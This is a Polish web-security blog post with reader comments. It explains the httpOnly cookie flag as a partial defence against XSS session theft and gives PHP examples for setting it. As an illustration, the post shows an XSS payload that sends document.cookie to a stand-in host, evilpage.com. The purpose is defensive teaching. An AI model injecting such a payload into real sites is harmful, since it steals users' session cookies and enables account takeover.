W niniejszym wpisie chciałbym krótko napomnieć o ważnym i prostym, aczkolwiek często pomijanym zabezpieczeniu przed kradzieżą ciasteczek (zwłaszcza sesyjnych) od użytkownika. Dokładniej mowa tutaj o ochronie przed atakiem typu XSS (Cross-site scripting).
Metodą ochrony (a raczej tylko dodatkowym utrudnieniem) jest flaga httpOnly dodawana do ciasteczek wysyłanych w nagłówkach HTTP.
XSS, mówiąc najkrócej polega na wstrzykiwaniu niebezpiecznego kodu intruza do naszej strony. Przykładowo, intruzowi mogłoby udać się przemycić do naszej strony niniejszy kod:
1 2 3 4 | <script type="text/javascript"> var pic = new Image(); pic.src = "http://evilpage.com/?id=" + escape(document.cookie); </script> |
Spowoduje to wysłanie wszystkich ciasteczek (zebranych dla domeny) użytkownika odwiedzającego stronę ze złowrogim kodem do strony evilpage.com, co następnie może przyczynić się do przejęcia konta przez intruza lub innych, gorszych konsekwencji.
Oczywiście możliwości wstrzyknięcia różnorakiego kodu jest naprawdę wiele i ciężko przed nimi się uchronić.
Co wnosi flaga httpOnly do cookie?
Z pomocą przychodzi flaga httpOnly dodawana do cookies. Pozwala ona częściowo zapobiegać, a raczej utrudniać stosowanie powyższego rodzaju ataków XSS.
Obrona polega na zmniejszeniu „widzialności” ciasteczek, bowiem każde ciastko z flagą httpOnly będzie widoczne jedynie po stronie języka serwerowego, nie będzie natomiast widoczne dla języków działających po stronie klienta (client-side)!
Czas na prosty przykład:
1 | header("Set-Cookie: app=MyApp; httpOnly"); |
czy
1 | setcookie("app", "MyApp", NULL, NULL, NULL, NULL, TRUE); |
W ten oto sposób stworzyliśmy ciasteczko z flagą httpOnly. Od teraz ciasteczko to jest widoczne jedynie po stronie serwera.
Co nam to daje? Ano podczas ataku, w którym ktoś zamieści kod typu:
1 2 3 | <script type="text/javascript"> alert(document.cookie); </script> |
nie zostaną uwzględnione ciasteczka z ustawioną flagą httpOnly!
Ciasteczka tego typu powinniśmy wykorzystywać przede wszystkich przy cookie sesyjnych, tak by utrudnić ewentualne przejęcie sesji przez nieuprawnionych intruzów.
Wsparcie przeglądarek
Jak już pewnie się domyślasz, cały czas mowa o ukrywaniu ciasteczek po stronie klienta, czyli wszystko zależy od konkretnych przeglądarek. Aby więc ciasteczka z flagą httpOnly były ukrywane, przeglądarki muszą zaimplementować odpowiednie zabezpieczenia.
Na szczęście, wszystkie popularne przeglądarki stosują już to zabezpieczenie. Ciekawostką jest, że to Internet Explorer jako pierwszy zaczął obsługiwać flagę httpOnly, a dopiero później dołączyły nowoczesne przeglądarki: Mozilla, Opera i pozostałe.
Wyjątkowo wyważony wpis na temat httpOnly – developerzy zwykle piszą, że httpOnly „zabezpiecza przed XSS”, ustrzegłeś się tego uproszczenia, za co Ci chwała ;)
Jest kilka sposobów, którymi można „obejść” httpOnly, zresztą włamywaczom nie zawsze zależy na ciastku, zwykły XSS potrafi o wiele więcej – ciekawy wpis na ten temat tutaj.
ps. świetny blog-wylądował w moich rssach kilka dni temu :)
Przy okazji zabezpieczania ciasteczek warto również wspomnieć o parametrze secure, który ustawiony wymusi wysyłanie ciastek tylko protokołem https, co dodatkowo zabezpiecza naszą aplikację.
@Krzysztof, dziękuję za komentarz i miłe słowa – zwłaszcza od osoby, która na bezpieczeństwie zna się dużo duuużo lepiej (czytam Twojego bloga i wiem co piszę). Także liczę, że przy okazji wpisów nt. bezpieczeństwa od czasu do czasu wyprowadzisz mnie z błędu czy poprawisz :-)
5 Reasons HTTPOnly won’t save you – ciekawy artykuł pokazujący gdzie konkretnie nie pomoże httpOnly (szukałem czegoś podobnego i nie znalazłem, także dzięki).
@batman: też prawda, choć chciałem skupić się wyłącznie na httpOnly. Poza secure można by jeszcze wspomnieć o przypisywaniu ciastek do konkretnych folderów, a nie całej domeny, jak to większość robi (coby nie pobierać ich przy każdym requescie).
I pewnie można by ciągnąć temat w nieskończoność, dodając kolejne luki i fjuczery.
I pewnie można by ciągnąć temat w nieskończoność, dodając kolejne luki i fjuczery.
Oj nie można, czasem trzeba powiedzieć dość – inaczej tak pozabezpieczasz, że nie da się pracować.
A i tak się w pełni nie da, bo to kwestia czas aż ktoś się wrypie.
Mnie ciekawi jak jest właśnie z tą implementacją httpOnly w przeglądarkach. Nie mogę nigdzie znaleźć świeżego materiału na ten temat, ale czytałem post sprzed roku, że to bezpieczeństwo (bo o zabezpieczeniu nie ma mowy ;>) cookiesów było wirtualne. Jeśli dobrze pamiętam wystarczyło zapytanie XHRowe żeby otrzymać wszystkie ciasteczka. Jak sprawa wygląda teraz?
@Michał: nie da się obronić przed wszystkimi, aczkolwiek pewne dodatkowe warstwy bezpieczeństwa można wprowadzać, zwłaszcza że są tak łatwe do implementacji.
Tak samo jak dodajemy walidację do formularzy, zarówno po stronie klienta, jak i serwera, tak i tutaj powinniśmy umieć się bronić przed XSS-em i dodatkowo wprowadzać takie małe zabezpieczenia – celem utrudnienia życia włamywaczom :-)
@Piotrek: później potestuję z XHRem i dam znać jak to się spisuje.
HttpOnly to tak naprawdę zwykły uprzykrzacz, a nie zabezpieczenie. Jeśli aplikacja jest źle napisana, fałszywe poczucie bezpieczeństwa u programisty po użyciu HttpOnly lub Secure powoduje tylko większe problemy, niż bez tego mechanizmu.
Link jak częściowo obejść zabezpieczenia HttpOnly i Secure
We wpisie wyjaśniłem, że powyższe zabezpieczenie jest łatwe do obejścia, ale bezpieczeństwa nigdy za wiele, o ile nie uprzykrza życia użytkownikowi.
Btw. dobrego masz bloga aargoth :)
dzięki, świetny artykuł. Dzieki też aargoth za linka.
takie proste, a jaki przydatne
takie strony o bezpieczeństwie są potrzebne
graty!
@aaaaaa, @nowy: Dziękuję za miłe słowa, które motywują do dalszego pisania i prowadzenia bloga :)
[…] Głównym powodem skomplikowania był fakt, ze ciasteczka z uwierzytelnieniem sesji mają ustawioną flagę HttpOnly, przez co nie jest je tak prosto wykraść skryptem JS przez atak typu XS…. Według anonimowego Redditora atak wyglądał zatem […]